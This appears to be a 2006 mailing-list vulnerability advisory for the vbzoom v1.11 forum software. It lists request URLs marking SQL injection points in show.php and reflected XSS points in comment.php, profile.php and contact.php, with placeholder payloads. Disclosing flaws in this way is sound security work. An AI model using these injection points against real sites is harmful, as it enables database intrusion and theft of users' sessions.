SQL injection & XSS IN vbzoom v1.11
From: "???? ????" <mr_snake_my@hotmail.com.>
To: [email protected]
Subject: SQL injection & XSS IN vbzoom v1.11
Date: Mon, 06 Mar 2006 22:09:41 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-OriginalArrivalTime: 06 Mar 2006 22:09:42.0370 (UTC) FILETIME=[AB58CC20:01C6416A]
X-Virus-Scanned: antivirus-gw at tyumen.ru
Software: vbzoom v1.11
Web Site:http://www.vbzoom.com
Versions: V1.11
== SQL Injection ==
http://www.victem.com/vz/show.php?UserID=1&MainID=1&SubjectID=[SQL]
http://www.victem.com/vz/show.php?UserID=1&MainID=[SQL]&SubjectID=1
==== XSS ====
http://www.victem.com/vz/comment.php?UserID='>XSS
http://www.victem.com/vz/profile.php?UserID=1&UserName='>XSS
http://www.victem.com/vz/contact.php?UserID='>XSS
Discovered by: Mr.SNAKE
FROM http://www.lezr.com
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/
